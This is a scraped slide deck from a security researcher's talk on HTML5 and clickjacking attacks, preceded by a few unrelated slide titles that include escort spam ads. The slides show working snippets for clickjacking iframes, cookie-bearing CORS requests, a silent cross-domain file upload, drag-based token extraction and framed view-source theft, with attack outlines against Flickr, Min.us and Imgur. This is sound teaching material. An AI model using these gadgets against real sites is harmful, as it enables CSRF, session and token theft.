Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 

Html5: something wicked this way comes

  • 1. HTML5: Something wicked this way comes Krzysztof Kotowicz Securing 1
  • 2. About me • security researcher • HTML 5 • UI redressing / clickjacking • xss-track, squid-imposter, ... • pentester • IT security trainer • „Hacking HTML5” 2
  • 3. Plan • Same origin policy • Exploiting users • Attack gadgets • Wrap-up 3
  • 4. Same origin policy • the single most important security concept for the web • restricts communication between websites from different domains • has many flavors • without it hell breaks loose 4
  • 5. Same origin policy • can be relaxed though • crossdomain.xml • document.domain • HTML5 Cross Origin Resource Sharing • or ignored... • by exploiting users • UI redressing (clickjacking) 5
  • 6. Exploiting users Users • Like games • 100 mln play social games //goo.gl/RRWlM • Are not security-savvy 6
  • 7. Exploiting users //goo.gl/DgPpY 7
  • 8. Combined attacks • Gadgets • HTML5 • UI redressing • Join them • New attacks 8
  • 11. Basic clickjacking 20x20 <iframe> 11
  • 12. Basic clickjacking <iframe> -300 -350 20x20 12
  • 13. Basic clickjacking <iframe> Victim website 20x20 Like us, plz! 13
  • 14. Basic clickjacking <iframe src=outer.html width=20 height=20 scrolling=no style="opacity:0;"></iframe> <!-- outer.html --> <iframe src="//victim" width=5000 height=5000 style="position: absolute; top:-300px; left: -350px;"></iframe> 14
  • 15. Basic clickjacking • Trick: Click here to see a video! • User action: click + Any clickable action + Works in every browser - X-Frame-Option - JS framebusting 15
  • 16. HTML5 IFRAME sandbox • Used to embed untrusted content • prevents XSS • prevents defacement • Facilitates clickjacking! <iframe sandbox="allow-same-origin allow-forms allow-scripts" src="//victim"></iframe> //html5sec.org/#122 16
  • 17. HTML5 IFRAME sandbox + Chrome / Safari / IE 10 + Will disable most JS framebusters - X-Frame-Option 17
  • 18. Cross Origin Resource Sharing • HTML5-ish • Cross domain AJAX • With cookies • Blind • Unless the receiving site agrees • Not limited to <form> syntax • Used to trigger CSRF 18
  • 19. Cross Origin Resource Sharing var xhr = new XMLHttpRequest();      xhr.open("POST", "http://victim", true); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // send cookies xhr.send("Anything I want"); 19
  • 20. Cross Origin Resource Sharing POST / HTTP/1.1 Host: victim Connection: keep-alive Referer: http://dev.localhost/temp/cors.php Content-Length: 15 Origin: http://dev.localhost Content-Type: text/plain ... Cookie: my-cookie=myvalue Anything I want 20
  • 21. Silent file upload • File upload purely in Javascript • Silent <input type=file> with any file name and content • Uses CORS • How? Create raw multipart/form-data 21
  • 22. Silent file upload function fileUpload(url, fileData, fileName) {    var fileSize = fileData.length,      boundary = "xxxxxxxxx",      xhr = new XMLHttpRequest();         xhr.open("POST", url, true);    xhr.withCredentials = "true";    xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);    xhr.setRequestHeader("Content-Length", fileSize); 22
  • 23. Silent file upload var body = " --" + boundary + 'rn Content-Disposition: form-data; name="contents"; filename="' + fileName + '"rn Content-Type: application/octet-streamrn rn ' + fileData + 'rn --' + boundary + '--'; xhr.send(body); 23
  • 24. Silent file upload + No user action + No frames + Cross-domain, with cookies + Works in most browsers + You can add more form fields - CSRF flaw needed - No access to response 24
  • 25. Silent file upload DEMO Flickr.com 25
  • 26. Flickr.com attack toolbox • Remember me • Flickr creates logged session on first request • CSRF file upload • http://up.flickr.com/photos/upload/transfer/ • accepts file uploads • token check skipped 26
  • 27. Drag into • Put attackers content into victim form 27
  • 28. Drag into DEMO Alphabet Hero 28
  • 29. Drag into • Trick: Put paper in the can! • User action: drag & drop, click + Inject arbitrary content + Trigger self-XSS - Firefox only - X-Frame-Option - JS framebusting 29
  • 30. Drag into Self-XSS in real life: • wordpress 0-day (Jelmer de Hen) //goo.gl/dNYi5 • chronme.com (sneaked.net) //goo.gl/hs7Bw • Google Code vulns (Amol Naik) //goo.gl/NxKFY 30
  • 31. Drag out content extraction image image 31
  • 32. Drag out content extraction image victim <iframe> image 32
  • 33. Drag out content extraction image victim <iframe> textarea <textarea> 33
  • 34. Drag out content extraction <div id=game style="position:relative">   <img style="position:absolute;..." src="paper.png" />   <img style="position:absolute;..." src="trash.png" />       <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe>    <textarea style="position:absolute; opacity:0;..." id=dropper></textarea> </div> 34
  • 35. Drag out content extraction 35
  • 36. Drag out content extraction 36
  • 37. Drag out content extraction $("#iframe").attr('src', 'outer.html’); $('#dropper').bind('drop', function() {     setTimeout(function() {         var urlmatch = $("#dropper").val() .match(/token=([a-h0-9]+)$/);         if (urlmatch) {             var token = urlmatch[1];             // do EVIL         }     }, 100); }); 37
  • 38. Drag out content extraction • Trick: Put paper in the can! • User action: drag & drop + Access sensitive content cross domain - Firefox only - X-Frame-Option - JS framebusting 38
  • 39. Drag out content extraction DEMO Min.us 39
  • 40. Min.us attack toolbox • CORS to create gallery • social engineering • extract gallery editor-id from <a href> • silent file upload to gallery • CORS change gallery to public • HTML5 + UI redressing combined! 40
  • 41. View-source • Display HTML source in frame • session IDs • tokens • private data <iframe src="view-source:view-source:http://victim" width=5000 height=5000 style="position: absolute; top: -300px; left: -150px;"> </iframe> 41
  • 44. View-source • Trick: Your serial number is... • User action: select + drag & drop, copy-paste + Beats JS framebusting + Already earned $500 from Facebook - X-Frame-Options - Firefox only - Complicated user action 44
  • 45. View-source DEMO Imgur.com 45
  • 46. Imgur.com attack toolbox • framed view-source: • captcha-like string (AdSense ID) • session ID • social engineering: • trick to copy/paste page source • Exploitation: • http://api.imgur.com • cookie auth, no IP limits for session 46
  • 47. Summary • UI redressing attacks are improving • HTML5 helps exploiting vulnerabilities • Users can be a weak link too! Devs: Use X-Frame-Options: DENY 47
  • 48. Links • html5sec.org • code.google.com/p/html5security • www.contextis.co.uk/research/white-papers/ clickjacking • blog.kotowicz.net • github.com/koto Twitter: @kkotowicz kkotowicz@securing.pl 48
  • 49. ? 49